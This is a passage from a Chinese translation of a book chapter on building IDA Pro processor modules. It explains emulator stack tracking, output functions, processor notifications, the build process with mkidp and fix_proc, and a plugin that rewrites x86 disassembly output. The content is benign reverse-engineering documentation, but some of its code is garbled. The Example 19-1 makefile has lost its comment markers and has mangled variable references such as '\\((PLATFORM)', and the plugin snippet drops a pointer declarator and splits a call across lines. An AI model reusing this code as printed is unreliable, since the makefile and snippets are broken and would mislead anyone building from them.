`pfn` 指针应指向包含被仿真地址的函数。如果 `pfn` 为 NULL,IDA 将自动确定。`ea` 参数应指定改变栈指针的指令的结束地址(通常是 `cmd.ea + cmd.size`)。`delta` 参数用于指定栈指针增长或缩小的字节数。当栈增长(例如在 `push` 指令之后)时使用负 delta,当栈缩小(例如在 `pop` 指令之后)时使用正 delta。对栈指针进行简单的 4 字节调整并结合 `push` 操作可能仿真如下:

if (cmd.itype == X86_push) {
add_auto_stkpnt2(NULL, cmd.ea + cmd.size, −4);
}


为了保持栈指针行为的准确记录,仿真器应能够识别和仿真所有改变栈指针的指令,而不仅仅是简单的 `push` 和 `pop` 情况。跟踪栈指针的更复杂示例发生在函数通过从栈指针减去一个常数值来分配其局部变量时。此情况如下所示:

//handle cases such as: sub esp, 48h
if (cmd.itype == X86_sub && cmd.Op1.type == o_reg
&& cmd.Op1.reg == r_esp && cmd.Op2.type == o_imm) {
add_auto_stkpnt2(NULL, cmd.ea + cmd.size, -cmd.Op2.value);
}


由于 CPU 架构在各个 CPU 之间差异很大,IDA(或任何其他程序)都无法考虑操作数可能形成的所有可能方式或指令可能引用其他指令或数据的所有方式。因此,没有精确的烹饪配方来构建你的模拟器模块。在模拟器能够完成你想要的所有功能之前,你可能需要阅读现有的处理器模块源代码,并进行大量的尝试和错误。

下面展示了我们示例 Python 处理器的模拟器:

int idaapi py_emu(void) {
//We can only resolve target addresses for relative jumps
if (cmd.auxpref & HAS_JREL) { //test the flags set by the analyzer
ua_add_cref(cmd.Op1.offb, cmd.Op1.addr, fl_JN);
}
//Add the sequential flow as long as CF_STOP is not set
if((cmd.get_canon_feature() & CF_STOP) == 0) {
//cmd.ea + cmd.size computes the address of the next instruction
ua_add_cref(0, cmd.ea + cmd.size, fl_F);
}
return 1;
}


再次强调,由于 Python 解释器的架构,我们在生成交叉引用的类型上受到严重限制。在 Python 字节码中,没有数据项的内存地址的概念,每个指令的绝对地址只能通过解析编译的 Python (*.pyc*) 文件中包含的元信息来确定。数据项要么存储在表中并通过索引值引用,要么存储在程序栈上,它们不能被直接引用。在这里,虽然我们可以直接从指令操作数中读取数据项索引值,但我们除非解析了包含在*.pyc*文件中的附加元信息,否则无法知道包含数据的表的结构。在我们的处理器中,我们只能计算相对跳转指令的目标和下一条指令的地址,因为它们位于当前指令地址的相对位置。我们的处理器只有在它对文件结构有更详细的理解时才能提供更好的反汇编,这是一个我们在处理器模块架构中讨论的限制,见处理器模块架构。

由于类似的原因,我们选择不在我们的 Python 处理器中跟踪栈指针的行为。这主要是因为 IDA 将栈指针的变化视为仅在函数内部进行时才相关,而我们目前没有在 Python 代码中识别函数边界的手段。如果我们实施栈指针跟踪,明智的做法是记住,作为一个基于栈的架构,几乎每条 Python 指令都会以某种方式修改栈。在这种情况下,为了简化确定每条指令修改栈指针多少的过程,可能更容易定义一个包含每个 Python 指令修改栈的数量的数组,每个指令一个值。这些数量将在每次模拟指令时调用`add_auto_stkpnt2`时使用。

一旦模拟器添加了它能添加的所有交叉引用,并对数据库进行了它认为必要的任何其他修改,你就可以开始生成输出。在下一节中,我们将讨论输出器在生成 IDA 反汇编显示中的作用。

## 输出器

输出器的作用是将由 `cmd` 全局变量指定的单个反汇编指令输出到 IDA 显示。在 IDA 处理器模块中,输出器通常通过一个名为 `out`(您可以将其命名为任何您喜欢的名称)的函数在名为 *out.cpp* 的文件中实现。像 `ana` 和 `emu` 函数一样,此函数的原型非常简单,如下所示:

void idaapi out(void); //output a single disassembled instruction


您必须使用指向您的输出函数的指针初始化 `LPH` 对象的 `u_out` 成员。在 `out` 被调用之前,`cmd` 已由分析器初始化。您的输出函数不应更改数据库。您还必须创建一个辅助函数,其唯一目的是格式化和输出单个指令操作数。此函数通常命名为 `outop`,并由 `LPH` 的 `u_outop` 成员指向。您的 `out` 函数不应直接调用 `outop`。相反,每次您需要打印反汇编行的操作数部分时,您应调用 `out_one_operand`。数据输出操作由一个单独的函数处理,该函数通常命名为 *`cpu`*`_data`,并由 `LPH` 对象的 `d_out` 成员字段指定。在我们的 Python 处理器中,此函数名为 `python_data`。

在反汇编列表中的输出行由多个组件组成,例如前缀、名称标签、助记符、操作数以及可能的注释。IDA 内核保留渲染这些组件(如前缀、注释和交叉引用)的责任,而其他组件则是处理器输出器的责任。在 *ua.hpp* 中声明了以下标题下的几个用于生成输出行片段的有用函数:

//--------------------------------------------------------------------------
// I D P H E L P E R F U N C T I O N S - O U T P U T
//--------------------------------------------------------------------------


通过使用插入特殊颜色标签到输出缓冲区的函数,可以给每行输出着色。可以在 *lines.hpp* 中找到用于生成输出行的附加函数。

与直接写入 IDA 显示的基于控制台风格的输出模型不同,IDA 使用基于缓冲区的输出方案,您必须将单行显示文本写入字符缓冲区,然后请求 IDA 显示您的缓冲区。生成输出行的基本过程如下:

1.  调用 `init_output_buffer(char *buf, size_t bufsize)`(在 *ua.hpp* 中声明)以初始化您的输出缓冲区。

1.  使用 *ua.hpp* 中的缓冲区输出函数,通过向初始化的缓冲区添加内容来生成单行内容。这些函数中的大多数会自动将内容写入之前步骤中指定的目标缓冲区,因此通常不需要显式将这些函数传递一个缓冲区。这些函数通常命名为 `out_`*`xxx`* 或 `Out`*`Xxx`*。

1.  调用 `term_output_buffer()` 来最终化您的输出缓冲区,使其准备好发送到 IDA 内核进行显示。

1.  使用 `MakeLine` 或 `printf_line`(两者均在 *lines.hpp* 中声明)将输出缓冲区发送到内核。

注意,`init_output_buffer`、`term_output_buffer` 和 `MakeLine` 通常仅在您的 `out` 函数内部调用。您的 `outop` 函数通常利用由 `out` 初始化的当前输出缓冲区,并且通常不需要初始化自己的输出缓冲区。

严格来说,您可以直接跳过前面列表中的前四个步骤中描述的所有缓冲区操作,直接调用 `MakeLine`,只要您不介意完全控制缓冲区生成过程并放弃 *ua.hpp* 中提供的便利函数。除了假设生成的输出有默认目的地(通过 `init_out_buffer` 指定)外,许多便利函数会自动与 `cmd` 变量的当前内容一起工作。以下是一些 *ua.hpp* 中更有用的便利函数的描述:

**`OutMnem(int width, char *suffix)`**

在至少 `width` 个字符的区域内输出与 `cmd.itype` 对应的助记符,并追加指定的后缀。助记符后至少打印一个空格。默认宽度为 8,默认后缀为 NULL。后缀值的使用示例可能包括操作数大小修饰符,如下面的 x86 助记符所示:`movsb`、`movsw`、`movsd`。

**`out_one_operand(int n)`**

调用处理器中的 `outop` 函数以打印 `cmd.Operands[n]`。

**`out_snprintf(const char *format, ...)`**

将格式化文本追加到当前输出缓冲区。

**`OutValue(op_t &op, int outflags)`**

输出操作数的常量字段。此函数输出 `op.value` 或 `op.addr`,具体取决于 `outflags` 的值。有关 `outflags` 的含义,请参阅 *ua.hpp*,默认值为 0。此函数旨在在 `outop` 内部调用。

**`out_symbol(char c)`**

使用当前颜色(`COLOR_SYMBOL`,如 *lines.hpp* 中定义)输出给定的字符。此函数主要用于输出操作数内的语法元素(因此从 `outop` 调用),例如逗号和括号。

**`out_line(char *str, color_t color)`**

将给定字符串,在给定 `color` 中,追加到当前输出缓冲区。颜色在 *lines.hpp* 中定义。请注意,此函数根本不会输出一行。此函数可能更好的名称是 `out_str`。

**`OutLine(char *str)`**

与 `out_line` 相同,但不使用颜色。

**`out_register(char *str)`**

使用当前颜色(`COLOR_REG`)输出给定的字符串。

**`out_tagon(color_t tag)`**

在输出缓冲区中插入一个 *开启颜色* 标签。直到遇到 *关闭颜色* 标签,后续输出到缓冲区的文本将显示为指定的颜色。

**`out_tagoff(color_t tag)`**

在输出缓冲区中插入一个 *关闭颜色* 标签。

请参阅 *ua.hpp* 了解可能对构建输出器有用的其他输出函数。

*ua.hpp*中缺少的一个输出功能是轻松输出寄存器名称。在分析阶段,寄存器号存储在操作数的`reg`或`phrase`字段中,具体取决于该操作数使用的寻址模式。由于许多操作数使用寄存器,因此有一个函数可以快速输出寄存器字符串,给定寄存器号,将会很方便。以下函数提供了执行此操作的最小功能:

//with the following we can do things like: OutReg(op.reg);
void OutReg(int regnum) {
out_register(ph.regNames[regnum]); //use regnum to index register names array
}


IDA 仅在需要时调用你的`out`函数,当地址在 IDA 显示中的一个视图中出现或当一行的一部分被重新格式化时。每次调用`out`时,都期望输出尽可能多的行来表示`cmd`全局变量中描述的指令。为了做到这一点,`out`通常会对`MakeLine`(或`printf_line`)进行一次或多次调用。在大多数情况下,一行(因此是对`MakeLine`的一次调用)就足够了。当需要多行来描述一个指令时,你不应该在输出缓冲区中添加换行符以尝试一次性生成多行。相反,你应该对`MakeLine`进行多次调用以输出每一行。`MakeLine`的原型如下所示:

bool MakeLine(const char *contents, int indent = −1);


一个`indent`值为-1 请求默认缩进,这是在“选项 ▸ 通用”对话框的“反汇编”部分中指定的`inf.indent`的当前值。当指令(或数据)在反汇编中跨越多行时,`indent`参数具有额外的意义。在多行指令中,缩进为-1 表示该行是该指令最重要的行。请参阅*lines.hpp*中`printf_line`函数的注释,以获取有关以这种方式使用`indent`的更多信息。

到目前为止,我们避免了对注释的讨论。像名称和交叉引用一样,注释由 IDA 内核处理。然而,你可以控制多行指令的哪一行显示注释。注释的显示在一定程度上由一个名为`gl_comm`的全局变量控制,该变量在*lines.hpp*中声明。关于`gl_comm`最重要的理解是,除非`gl_comm`设置为 1,否则无法显示注释。如果`gl_comm`为 0,那么即使在“选项 ▸ 通用”设置中启用了注释,用户输入的注释也不会显示在你生成的输出末尾。问题是,`gl_comm`默认为 0,所以如果你希望用户在使用你的处理器模块时看到注释,你需要确保在某个时刻将其设置为 1。当你的`out`函数生成多行时,如果你想显示除第一行输出之外的用户输入的任何注释,你需要控制`gl_comm`。

在掌握构建输出器的高潮之后,以下是我们的示例 Python 处理器的`out`函数:

void py_out(void) {
char str[MAXSTR]; //MAXSTR is an IDA define from pro.h
init_output_buffer(str, sizeof(str));
OutMnem(12); //first we output the mnemonic
if(cmd.Op1.type != o_void) { //then there is an argument to print
out_one_operand(0);
}
term_output_buffer();
gl_comm = 1; //we want comments!
MakeLine(str); //output the line with default indentation
}


该函数以非常简单的方式遍历反汇编行的组件。如果 Python 指令可以接受两个操作数,我们可能会使用`out_symbol`输出一个逗号,然后再次调用`out_one_operand`以输出第二个操作数。在大多数情况下,您的`outop`函数将比您的`out`函数更复杂,因为操作数的结构通常比指令的高级结构更复杂。实现`outop`函数的典型方法是用 switch 语句测试操作数`type`字段的值,并相应地格式化操作数。

在我们的 Python 示例中,我们被迫使用一个非常简单的`outop`函数,因为在大多数情况下,我们缺乏将整数操作数转换为更易理解内容所需的信息。我们的实现如下所示,仅对比较和相对跳转进行特殊处理:

char *compare_ops[] = {
"<", "<=", "==", "!=", ">", ">=",
"in", "not in", "is", "is not", "exception match"
};

bool idaapi py_outop(op_t& x) {
if (cmd.itype == COMPARE_OP) {
//For comparisons, the argument indicates the type of comparison to be
//performed. Print a symbolic representation of the comparison rather
//than a number.
if (x.value < qnumber(compare_ops)) {
OutLine(compare_ops[x.value]);
}
else {
OutLine("BAD OPERAND");
}
}
else if (cmd.auxpref & HAS_JREL) {
//we don't test for x.type == o_near here because we need to distinguish
//between relative jumps and absolute jumps. In our case, HAS_JREL
//implies o_near
out_name_expr(x, x.addr, x.addr);
}
else { //otherwise just print the operand value
OutValue(x);
}
return true;
}


除了反汇编指令外,反汇编列表通常还包含应表示为数据的字节。在输出阶段,数据显示由`LPH`对象的`d_out`成员处理。内核调用`d_out`函数来显示任何不属于指令的字节,无论这些字节的数据类型是否未知,或者这些字节是否已被用户或仿真器格式化为数据。`d_out`的原型如下所示:

void idaapi d_out(ea_t ea); //format data at the specified address


`d_out`函数应检查由`ea`参数指定的地址关联的标志,并生成与正在生成的汇编语言风格适当的数据表示。此函数必须为所有处理器模块指定。SDK 以`intel_data`函数的形式提供了一个基本的实现,但它可能无法满足您的特定需求。在我们的 Python 示例中,我们实际上对格式化静态数据的需求非常小,因为我们没有定位它的手段。为了举例,我们使用了下面所示的函数:

void idaapi python_data(ea_t ea) {
char obuf[256];
init_output_buffer(obuf, sizeof(obuf));
flags_t flags = get_flags_novalue(ea); //get the flags for address ea
if (isWord(flags)) { //output a word declaration
out_snprintf("%s %xh", ash.a_word ? ash.a_word : "", get_word(ea));
}
else if (isDwrd(flags)) { //output a dword declaration
out_snprintf("%s %xh", ash.a_dword ? ash.a_dword : "", get_long(ea));
}
else { //we default to byte declarations in all other cases
int val = get_byte(ea);
char ch = ' ';
if (val >= 0x20 && val <= 0x7E) {
ch = val;
}
out_snprintf("%s %02xh ; %c", ash.a_byte ? ash.a_byte : "", val, ch);
}
term_output_buffer();
gl_comm = 1;
MakeLine(obuf);
}


在`bytes.hpp`中提供了访问和测试与数据库中任何地址关联的标志的函数。在这个例子中,标志被测试以确定地址是否表示 word 或 dword 数据,并使用当前汇编模块中适当的数据声明关键字生成适当的输出。全局变量`ash`是`asm_t`结构的实例,它描述了正在使用的反汇编汇编语法的特征。为了生成更复杂的数据显示,例如数组,我们需要更多的逻辑。

## 处理器通知

在第十七章中,我们讨论了插件使用`hook_to_notification_point`函数挂钩各种通知消息的能力。通过挂钩通知,插件可以了解数据库内发生的各种操作。通知消息的概念也存在于处理器模块中,但处理器通知的实现方式与插件通知略有不同。

所有处理器模块应在`LPH`对象的`notify`字段中设置一个指向通知函数的指针。`notify`函数的原型如下所示:

int idaapi notify(idp_notify msgid, ...); //notify processor with a given msg


`notify`函数是一个可变参数函数,它接收一个通知代码和与该通知代码相关的变量参数列表。可用的处理器通知代码的完整列表可以在`*idp.hpp*`中找到。通知消息存在于简单的操作,如加载(`init`)和卸载(`term`)处理器,以及更复杂的操作,如创建代码或数据、添加或删除函数或段。每个通知代码提供的参数列表也在`*idp.hpp*`中指定。在查看`notify`函数的示例之前,值得注意以下仅在 SDK 的一些示例处理器模块中找到的注释:

// A well-behaving processor module should call invoke_callbacks()
// in its notify() function. If invoke_callbacks function returns 0,
// then the processor module should process the notification itself.
// Otherwise the code should be returned to the caller.


为了确保所有已挂钩处理器通知的模块都能得到适当的通知,应调用`invoke_callbacks`函数。这将导致内核将给定的通知消息传播到所有已注册的回调函数。我们 Python 处理器中使用的`notify`函数如下所示:

static int idaapi notify(processor_t::idp_notify msgid, ...) {
va_list va;
va_start(va, msgid); //setup args list
int result = invoke_callbacks(HT_IDP, msgid, va);
if (result == 0) {
result = 1; //default success
switch(msgid) {
case processor_t::init:
inf.mf = 0; //ensure little endian!
break;
case processor_t::make_data: {
ea_t ea = va_arg(va, ea_t);
flags_t flags = va_arg(va, flags_t);
tid_t tid = va_arg(va, tid_t);
asize_t len = va_arg(va, asize_t);
if (len > 4) { //our d_out can only handle byte, word, dword
result = 0; //disallow big data
}
break;
}
}
}
va_end(va);
return result;
}


此`notify`函数仅处理两个通知代码:`init`和`make_data`。处理`init`通知是为了明确强制内核将数据视为小端。`inf.mf`(最前位)标志表示内核使用的小端值(0 表示小端,1 表示大端)。每当尝试将字节转换为数据时,都会发送`make_data`通知。在我们的案例中,`d_out`函数只能处理字节、字和双字数据,因此该函数会检查正在创建的数据的大小,并禁止大于 4 字节的数据。

## 其他`processor_t`成员

为了结束关于创建处理器模块的讨论,我们至少需要涉及到 `LPH` 对象中的几个附加字段。如前所述,该结构中有大量的函数指针。如果你阅读了 *idp.hpp* 中 `processor_t` 结构的定义,在某些情况下可以清楚地看到你可以安全地将一些函数指针设置为 NULL,内核将不会调用它们。合理地假设你需要为 `processor_t` 所需的所有其他函数提供实现。一般来说,当你不知道该做什么时,通常可以使用一个空的存根函数。在我们的 Python 处理器中,由于不清楚 NULL 是否是一个有效的值,我们按照以下方式初始化了函数指针(有关每个函数的行为,请参阅 *idp.hpp*):

| **`header`** 在示例中指向空函数。 |
| --- |
| **`footer`** 在示例中指向空函数。 |
| **`segstart`** 在示例中指向空函数。 |
| **`segend`** 在示例中指向空函数。 |
| **`is_far_jump`** 在示例中设置为 NULL。 |
| **`translate`** 在示例中设置为 NULL。 |
| **`realcvt`** 指向 *ieee.h* 中的 `ieee_realcvt`。 |
| **`is_switch`** 在示例中设置为 NULL。 |
| **`extract_address`** 在示例中指向返回 (BADADDR−1) 的函数。 |
| **`is_sp_based`** 在示例中设置为 NULL。 |
| **`create_func_frame`** 在示例中设置为 NULL。 |
| **`get_frame_retsize`** 在示例中设置为 NULL。 |
| **`u_outspec`** 在示例中设置为 NULL。 |
| **`set_idp_options`** 在示例中设置为 NULL。 |

除了这些函数指针之外,以下三个数据成员也值得提及:

| **`shnames`** 是一个以 NULL 结尾的字符指针数组,这些指针指向与处理器(如 *python*)关联的短名称(少于九个字符)。使用 NULL 指针终止此数组。 |
| --- |
| **`lnames`** 是一个以 NULL 结尾的字符指针数组,这些指针指向与处理器(如 *Python 2.4 字节码*)关联的长名称。此数组应包含与 `shnames` 数组相同数量的元素。 |
| **`asms`** 是指向目标汇编器 (`asm_t`) 结构的指针的 NULL 结尾数组。 |

`shnames` 和 `lnames` 数组指定了当前处理器模块可以处理的所有处理器类型的名称。用户可以在选项 ▸ 通用对话框的分析选项卡上选择替代处理器,如图 19-1 所示。

支持多个处理器的处理器模块应该处理 `processor_t.newprc` 通知,以便了解处理器变化。

![选择替代处理器和汇编器](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854310.png.jpg)

图 19-1. 选择替代处理器和汇编器

`asm_t`结构用于描述汇编语言的一些语法元素,例如十六进制数的格式、字符串和字符分隔符,以及汇编语言中常用的各种关键字。`asms`字段的目的是允许单个处理器模块生成多种不同的汇编语言风格。支持多个汇编器的处理器模块应该处理`processor_t.newasm`通知,以便通知处理器更改。

最终,我们简单的 Python 处理器版本能够生成如下代码:

ROM:00156 LOAD_CONST 12
ROM:00159 COMPARE_OP ==
ROM:00162 JUMP_IF_FALSE loc_182
ROM:00165 POP_TOP
ROM:00166 LOAD_NAME 4
ROM:00169 LOAD_ATTR 10
ROM:00172 LOAD_NAME 5
ROM:00175 CALL_FUNCTION 1
ROM:00178 POP_TOP
ROM:00179 JUMP_FORWARD loc_183
ROM:00182 # ----------------------------------------------------------
ROM:00182 loc_182: # CODE XREF: ROM:00162j
ROM:00182 POP_TOP
ROM:00183
ROM:00183 loc_183: # CODE XREF: ROM:00179j
ROM:00183 LOAD_CONST 0
ROM:00186 RETURN_VALUE


虽然可以生成比这更多的 Python 反汇编信息,但它们需要比本例中假设的更深入的知识来理解*.pyc*文件格式。一个功能更全面的 Python 处理器模块可在本书的网站上找到。

# 构建处理器模块

构建和安装 IDA 处理器模块的过程与构建插件和加载器的过程非常相似,但有一个主要区别,如果不遵循,可能会导致 IDA 无法使用您的处理器。构建过程中的某些细微差异包括这些:

1.  处理器的文件扩展名在 Windows 上是*.w32/.w64*,在 Linux 上是*.ilx/ilx64*,在 OS X 平台上是`.imc/.imc64`。

1.  SDK 示例处理器(以及我们自己的)的构建脚本将新创建的处理器二进制文件存储到`*<SDKDIR>/bin/procs*`。

1.  处理器模块通过将编译后的处理器二进制文件复制到`*<IDADIR>/procs*`目录来安装。

1.  Windows 处理器模块需要使用 SDK 提供的定制 MS-DOS 引导程序^([138))。

1.  基于 Windows 的处理器模块需要执行一个插件和加载器不需要的定制后处理步骤。此步骤的目的是将处理器描述字符串插入到编译后的处理器二进制文件中的特定位置。该描述字符串将在 IDA 的加载文件对话框的处理器下拉列表部分显示。

当您构建基于 Windows 的处理器模块时,您需要使用 SDK 提供的定制 MS-DOS 引导程序(*<SDKDIR>/module/stub*)。为了使用定制的 MS-DOS 引导程序,您必须指导您的链接器使用您的引导程序而不是它默认包含的引导程序。当使用特定于 Windows 的编译器时,有时可以通过使用模块定义 (*.def*) 文件来指定替代引导程序。Borland 构建工具(Hex-Rays 使用)支持使用*.def*文件来指定替代引导程序。SDK 包括供您使用的`*<SDKDIR>/module/idp.def*`,如果您恰好在使用 Borland 工具。GNU 和 Microsoft 链接器都支持*.def*文件(尽管语法略有不同);然而,它们都不支持指定替代 MS-DOS 引导程序,如果您使用这些编译器之一,这显然会引发问题。

假设你确实能够使用 SDK 提供的定制 MS-DOS stub 构建处理器模块,你仍然必须将处理器描述注释插入到处理器二进制文件中。这就是 *`<SDKDIR>/bin/mkidp.exe`* 工具的目的。你可以使用以下语法向 `mkidp` 添加描述:

$ mkidp module description


在这里,*`module`* 是你的处理器模块的路径,而 *`description`* 是你的模块的文本描述,其形式如下:

Long module name:short module name


要为我们的 Python 处理器模块添加描述,我们可能使用以下命令行:

$ ./mkidp procs/python.w32 "Python Bytecode:python"


`mkidp` 工具尝试将提供的描述插入到名为模块的文件中,偏移量为 128 字节,位于 MS-DOS stub 和 PE 头部之间的空间中,假设存在这样的空间。如果由于 PE 头部太靠近 MS-DOS stub 的末尾而导致空间不足,你将收到以下错误信息:

mkidp: too long processor description


到这一点,事情变得更加依赖于你的工具,因为使用 Microsoft 链接器构建的处理器将有足够的空间来插入描述,而使用 GNU 链接器构建的处理器则不会有。

为了消除我们心中的困惑,并允许我们使用 Microsoft 或 GNU 工具,我们开发了一个名为 `fix_proc` 的实用程序,该实用程序可在书籍网站的 第十九章 部分找到。`fix_proc` 实用程序使用与 `mkidp` 相同的命令行语法,但它提供了额外的行为,允许它将处理器描述插入到大多数编译器构建的处理器模块中。当 `fix_proc` 执行时,它会用 SDK 提供的 stub 替换处理器现有的 MS-DOS stub(从而消除了在构建过程中使用 *.def* 文件的需求)。同时,`fix_proc` 执行必要的操作,将处理器的 PE 头部重新定位,以创建足够的空间来存放处理器描述字符串,最终将描述字符串插入到处理器二进制文件中的正确位置。我们使用 `fix_proc` 作为 `mkidp` 的替代品,在处理器模块上执行所需的后期处理步骤。

### 注意

严格来说,对于处理器模块,使用 SDK 的 MS-DOS stub 不是必需的。只要 IDA 在处理器模块中找到 128 字节处的描述字符串,它就会对处理器模块感到满意。在 `fix_proc` 函数中,我们简单地用 SDK stub 替换现有的 MS-DOS stub,以避免在描述字符串专用空间上可能出现的任何冲突。

表 19-1 描述了基于构建它们的工具的处理器功能。

只有具有有效描述的处理器才会列在文件加载对话框中。换句话说,如果没有有效的描述字段,就无法选择处理器模块。

表 19-1. 通过编译器后处理的 IDA 处理器模块 (按编译器分类)

|   | 初始构建 |   | 在 mkidp 之后 |   | 在 fix_proc 之后 |   |
| --- | --- | --- | --- | --- | --- | --- |
| 工具 | 使用 .def? | 有占位符? | 有占位符? | 有描述? | 有占位符? | 有描述? |
| Borland | 是 | 是 | 是 | 是 | 是 | 是 |
| Microsoft | 否 | 否 | 否 | 是 | 是 | 是 |
| GNU | 否 | 否 | 否 | 否 | 是 | 是 |

这些构建过程中的所有差异都需要对示例 17-1 中展示的 makefile 进行一些额外的修改,而构建加载模块所需的修改较少。示例 19-1 展示了一个修改后的 makefile,用于构建我们的示例 Python 处理器。

示例 19-1. Python 处理器模块的 makefile

Set this variable to point to your SDK directory

IDA_SDK=../../

PLATFORM=$(shell uname | cut -f 1 -d _)

ifneq "\((PLATFORM)" "MINGW32" IDA=\)(HOME)/ida
endif

Set this variable to the desired name of your compiled processor

PROC=python

Specify a description string for your processor, this is required

The syntax is :

DESCRIPTION=Python Bytecode:python

ifeq "\((PLATFORM)" "MINGW32" PLATFORM_CFLAGS=-D__NT__ -D__IDP__ -DWIN32 -Os -fno-rtti PLATFORM_LDFLAGS=-shared -s LIBDIR=\)(shell find ../../ -type d | grep -E "(lib|lib/)gcc.w32")
ifeq ($(strip \((LIBDIR)),) LIBDIR=../../lib/x86_win_gcc_32 endif IDALIB=\)(LIBDIR)/ida.a
PROC_EXT=.w32

else ifeq "\((PLATFORM)" "Linux" PLATFORM_CFLAGS=-D__LINUX__ PLATFORM_LDFLAGS=-shared -s IDALIB=-lida IDADIR=-L\)(IDA)
PROC_EXT=.ilx

else ifeq "$(PLATFORM)" "Darwin"

PLATFORM_CFLAGS=-D__MAC__
PLATFORM_LDFLAGS=-dynamiclib
IDALIB=-lida
IDADIR=-L$(IDA)/idaq.app/Contents/MacOs
PROC_EXT=.imc
endif

Platform specific compiler flags

CFLAGS=-Wextra $(PLATFORM_CFLAGS)

Platform specific ld flags

LDFLAGS=$(PLATFORM_LDFLAGS)

specify any additional libraries that you may need

EXTRALIBS=

Destination directory for compiled plugins

OUTDIR=$(IDA_SDK)bin/procs/

Postprocessing tool to add processor comment

MKIDP=$(IDA_SDK)bin/fix_proc

MKIDP=$(IDA)bin/mkidp

list out the object files in your project here

OBJS= ana.o emu.o ins.o out.o reg.o

BINARY=\((OUTDIR)\)(PROC)$(PROC_EXT)

all: $(OUTDIR) $(BINARY)

clean:
-@rm *.o
-@rm $(BINARY)

$(OUTDIR):
-@mkdir -p $(OUTDIR)

CC=g++
INC=-I$(IDA_SDK)include/

%.o: %.cpp
$(CC) -c $(CFLAGS) $(INC) $< -o $@

LD=g++
ifeq "$(PLATFORM)" "MINGW32"

Windows processor's require post processing

$(BINARY): $(OBJS)
$(LD) $(LDFLAGS) -o $@ $(OBJS) $(IDALIB) $(EXTRALIBS)
$(MKIDP) \((BINARY) "\)(DESCRIPTION)"
else
$(BINARY): $(OBJS)
$(LD) $(LDFLAGS) -o $@ $(OBJS) $(IDALIB) $(EXTRALIBS)
endif

change python below to the name of your processor, make sure to add any

additional files that your processor is dependent on

python.o: python.cpp
ana.o: ana.cpp
emu.o: emu.cpp
ins.o: ins.cpp
out.o: out.cpp
reg.o: reg.cpp


除了对处理器不同后缀和默认文件位置进行的一些小修改外,主要差异包括定义一个描述字符串 ![更多](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),指定一个用于插入描述字符串的工具 ![更多](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png),以及在 Windows 处理器模块中添加一个构建步骤以插入描述字符串 ![更多](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)。

* * *

^([138]) MS-DOS 头部占位符包括 MS-DOS 文件头部以及警告用户在 MS-DOS 模式下无法执行 Windows 程序的代码。

# 定制现有处理器

也许你正在考虑开发一个处理器模块,但注意到现有的处理器模块几乎可以做你需要的一切。如果你有处理器模块的源代码,那么你可能很容易修改它以满足你的需求。另一方面,如果你没有源代码,你可能觉得你运气不好。幸运的是,IDA 通过使用插件提供了一种定制现有处理器的机制。通过钩住适当的处理器通知,插件模块可以拦截对现有处理器分析器、模拟器和输出器阶段的调用。定制处理器的潜在应用包括以下内容:

+   扩展现有处理器的功能以识别额外的指令

+   修复现有处理器模块中的损坏行为(尽管直接告诉 Ilfak 你发现了一个错误可能更快)

+   定制现有处理器模块的输出以满足特定需求

以下通知代码,在 `processor_t` 中声明并在 *idp.hpp* 中讨论,可以被想要拦截处理器各个阶段调用的插件钩住:

| **`custom_ana`** 行为类似于 `u_ana`;然而,任何新的指令都必须使用 `cmd.itype` 值为 0x8000 或更高。 |
| --- |
| **`custom_emu`** 为自定义指令类型提供仿真。如果您想调用处理器现有的仿真器,可以调用 `(*ph.u_emu)()`。 |
| **`custom_out`** 生成自定义指令的输出或为现有指令提供自定义输出。如果您想调用处理器的 `out` 函数,可以调用 `(*ph.u_out)()`。 |
| **`custom_outop`** 输出一个单独的自定义操作数。如果您想调用处理器现有的 `outop` 函数,可以调用 `(*ph.u_outop)(op)`。 |
| **`custom_mnem`** 生成自定义指令的助记符。 |

以下代码片段来自一个插件,该插件修改了 x86 处理器模块的输出,将 `leave` 指令替换为 `cya` 指令,并交换具有两个操作数的指令的显示顺序(类似于 AT&T 风格的语法):

int idaapi init(void) {
if (ph.id != PLFM_386) return PLUGIN_SKIP;
hook_to_notification_point(HT_IDP, hook, NULL);
return PLUGIN_KEEP;
}

int idaapi hook(void user_data, int notification_code, va_list va) {
switch (notification_code) {
case processor_t::custom_out: {
if (cmd.itype == NN_leave) { //intercept the leave instruction
MakeLine(SCOLOR_ON SCOLOR_INSN "cya" SCOLOR_OFF);
return 2;
}
else if (cmd.Op2.type != o_void) {
//intercept 2 operand instructions
op_t op1 = cmd.Op1;
op_t op2 = cmd.Op2;
cmd.Op1 = op2;
cmd.Op2 = op1;
(
ph.u_out)();
cmd.Op1 = op1;
cmd.Op2 = op2;
return 2;
}
}
}
return 0;
}
plugin_t PLUGIN = {
IDP_INTERFACE_VERSION,
PLUGIN_PROC | PLUGIN_HIDE | PLUGIN_MOD, // plugin flags
init, // initialize
term, // terminate. this pointer may be NULL.
run, // invoke plugin
comment, // long comment about the plugin
help, // multiline help about the plugin
wanted_name, // the preferred short name of the plugin
wanted_hotkey // the preferred hotkey to run the plugin
};


插件的 `init` 函数验证当前处理器是 x86 处理器 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 然后挂钩处理器通知 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)。在回调 `hook` 函数中,插件处理 `custom_out` 通知以识别 `leave` 指令 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png) 并生成替代输出行 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)。对于具有两个操作数的指令,`hook` 函数在调用 x86 处理器的 `u_out` 函数之前,临时保存与当前命令关联的操作数,在命令内部交换它们 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png) 以处理打印行的所有细节。返回后,命令的操作数将恢复到原始顺序。最后,插件的标志 